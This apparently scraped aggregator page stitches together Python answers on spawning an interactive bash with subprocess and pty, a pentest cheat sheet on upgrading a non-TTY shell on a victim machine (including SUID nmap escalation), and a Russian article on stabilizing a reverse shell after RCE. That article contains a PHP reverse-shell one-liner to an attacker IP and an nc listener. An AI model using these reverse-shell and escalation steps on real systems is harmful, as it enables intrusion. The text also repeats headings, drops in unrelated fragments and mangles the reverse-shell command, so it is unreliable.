- How to embed/spawn an interactive shell from inside a Python program
- More details
- What I’ve tried to spawn a bash
- Shell spawning
- Python how to spawn bash from python shell
- Spawning bash from python and printing message
- Running Shell Commands using Python (Detailed Explanation)
- How to embed/spawn an interactive shell from inside a Python program
- Interacting with bash from python
- How does a shell script execute another shell script from within itself
- Я есть root. Получаем стабильный shell
- Зачем нам терминал в нашем соединении?
- Прокачиваем наш изначальный шелл
- Харденинг
How to embed/spawn an interactive shell from inside a Python program
I have a Python 3 CLI application from which I want to drop into or spawn an interactive bash shell (after I’ve set some custom environment vars). What is the best way to embed or spawn an interactive bash shell in Python?
More details
- The user starts my CLI application in a Terminal session. (It should work regardless whether the app runs in iTerm or Xterm or the like, but the underlying system is Unix-ish.)
- Then the application gathers some information from the user via prompts (so the application uses stdin and stdout).
- Then it should spawn a bash shell prompt. This bash is suppose to:
- run in the same terminal session as my app and
- use an environment with some custom environment vars set by my application beforehand.
- The user executes some commands in the bash shell (using the same stdin and stout from my app before).
- The user exists the bash shell via Ctrl-d or exit .
- The bash shell closes and my Python app takes over again in the same terminal session. It does some post [proecssing and the finishes.
The part I am asking about is step 3 (Spawn the bash shell).
What I’ve tried to spawn a bash
- I tried using the code module in the Standard Library, but this only allows me to start a Python shell not a bash shell.
- I used the sh package:
from sh import bash bash('-i')
Shell spawning
Once you get a shell on the linux victim machine this shell could be without TTY (terminal connection) and most likely to go on with the penetration test you will need to spawn TTY shell.
In fact, a shell without the TTY functions does not allow you to perform important things such as the simple “su” command that is used to change user or the “nano” file creation and modification tool. There are other important functions in a penetration test which don’t work on a shell without TTY.
So to spawn a shell in a TTY shell there are some useful commands. These must be run from within the not TTY shell.
Basic commands
The classic command is based on python (obviously python must be installed on the victim):
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
/bin/sh -i
echo os.system('/bin/bash')
From “nmap”
Sometimes, if “nmap” is a SUID executable file with perm 4000 (means that whoever runs that file runs it with the same privileges as the owner user), spawn shell from “nmap” can also be useful for privilege escalation. This works only for nmap version .
From within “vi” (“vi” is a text editor that works in a not TTY shell)
:set shell=/bin/bash:shell
Using STTY
“stty” command allows you to change the characteristics of the connection of the terminal to the system. Using, for example, stty with the -a option gets the current configuration:
To spawn a shell using “stty” the steps are the following:
In victim machine reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z In Attacker console #echo $TERM
#stty -a
# stty raw -echo # fg [enter] [enter] In reverse shell $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows columns
Python how to spawn bash from python shell
» If you want to run them on other threads, you can use multiprocessing: » multiprocessing is a package that supports spawning processes using an API similar to the threading module. » Shell scripts are something different, maybe this question (and its answers) can help you understand shell scripts launching other scripts 🙂 Solution 1: Yes shell also will spawn new process if you invoke shell script within shell.
Spawning bash from python and printing message
Just bash will give you the interactive shell with the loaded environment from /etc/bashrc + ~/.bashrc .
If you want a login shell, bash -l is correct.
For getting your pretext shown (with bash), you need a second invocation of bash because it can be either run to execute given commands or as an interactive shell. If you do not really need the pretext be parsed by bash, I suggest to output the pretext with python instead.
If you call bash with -l then ~/.bashrc is not executed. Instead, because you ask for a login shell, ~/.bash_profile is executed (if it exists).
I have therefore this in my ~/.bash_profile :
What you probably want is to call bash without -l .
Running bash script from within python, Making sleep.sh executable and adding shell=True to the parameter list (as suggested in previous answers) works ok. Depending on the search path, you may
Running Shell Commands using Python (Detailed Explanation)
In this video, learn how to run shell commands using Python. This is useful when your python Duration: 29:42
How to embed/spawn an interactive shell from inside a Python program
import subprocess subprocess.run(['bash', '-li'])
You can pass your custom environment via env function parameter, and anything more with —rcfile bash argument.
Does this solve your problem:
import os os.system("x-terminal-emulator -e /bin/bash")
Running Shell Commands using Python (Detailed Explanation), In this video, learn how to run shell commands using Python. This is useful when your python Duration: 29:42
Interacting with bash from python
import subprocess proc = subprocess.Popen(['/bin/bash'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) stdout = proc.communicate('ls -lash') print stdout
You have to read more about stdin, stdout and stderr. This looks like good lecture: http://www.doughellmann.com/PyMOTW/subprocess/
>>> process = subprocess.Popen(['/bin/bash'], shell=False, stdin=subprocess.PIPE, stdout=subprocess.PIPE) >>> process.stdin.write('echo it works!\n') >>> process.stdout.readline() 'it works!\n' >>> process.stdin.write('date\n') >>> process.stdout.readline() 'wto, 13 mar 2012, 17:25:35 CET\n' >>>
Use this example in my other answer: https://stackoverflow.com/a/43012138/3555925
You can get more details in that answer.
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys import select import termios import tty import pty from subprocess import Popen command = 'bash' # command = 'docker run -it --rm centos /bin/bash'.split() # save original tty setting then set it to raw mode old_tty = termios.tcgetattr(sys.stdin) tty.setraw(sys.stdin.fileno()) # open pseudo-terminal to interact with subprocess master_fd, slave_fd = pty.openpty() # use os.setsid() make it run in a new process group, or bash job control will not be enabled p = Popen(command, preexec_fn=os.setsid, stdin=slave_fd, stdout=slave_fd, stderr=slave_fd, universal_newlines=True) while p.poll() is None: r, w, e = select.select([sys.stdin, master_fd], [], []) if sys.stdin in r: d = os.read(sys.stdin.fileno(), 10240) os.write(master_fd, d) elif master_fd in r: o = os.read(master_fd, 10240) if o: os.write(sys.stdout.fileno(), o) # restore tty settings back termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
An interactive bash process expects to be interacting with a tty. To create a pseudo-terminal, use os.openpty(). This will return a slave_fd file descriptor that you can use to open files for stdin, stdout, and stderr. You can then write to and read from master_fd to interact with your process. Note that if you’re doing even mildly complex interaction, you’ll also want to use the select module to make sure that you don’t deadlock.
How does a shell script execute another shell script from within itself
Yes shell also will spawn new process if you invoke shell script within shell. if you want to spawn python script and exit without killing, run python in background in shell script/ or disown python process.
Python can spawn new processes and control their lives.
You can create and manage them using modules such as subprocess: » The subprocess module allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes. «
If you want to run them on other threads, you can use multiprocessing: » multiprocessing is a package that supports spawning processes using an API similar to the threading module. «
Shell scripts are something different, maybe this question (and its answers) can help you understand shell scripts launching other scripts 🙂
Run Python Script – How to Execute Python Shell Commands in the, To start the Python shell, simply type python and hit Enter in the terminal: C:\Users\Suchandra Datta>python Python 3.8.3 (tags/v3.8.3:6f8c832,
Я есть root. Получаем стабильный shell
Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.
Это третья часть из цикла статей по повышению привилегий в ОС Linux, я есть root. Первая статья была обзорной, во второй статье я разбирал вектор повышения через SUID/SGID.
Итак, мы получили initial shell. Кто знает, как это по-русски? «Изначальная оболочка» или «первичный доступ» — ГОСТ’а нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting’a, поскольку тот же SSH нам не доступен.
Безуспешная попытка использования SSH
Система сообщает нам, что не может справиться с SSH без полноценного терминального shell’a. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:
Попытка создания псевдотерминала через /bin/sh
Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.
Зачем нам терминал в нашем соединении?
Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.
Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.
php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i &3 2>&3");'
Попытка воспользоваться SSH через nc-соединение
Запрос на доверие сертификату выводится на атакуемом хосте
На стороне атакующего терминала пока нет
Прокачиваем наш изначальный шелл
Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Создание виртуального терминала в Python
На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии «доверяйте данному ключу SSH» или «введите пароль, чтобы воспользоваться sudo».
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shell’a и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.
nc -nlvp 443 #ctrl + z stty raw -echo && fg
Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.
Получение стабильного shell’a с помощью настройки свойств терминала
Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.
/usr/bin/script -qc /bin/bash /dev/null
Создание виртуального терминала в script
Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.
Харденинг
По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.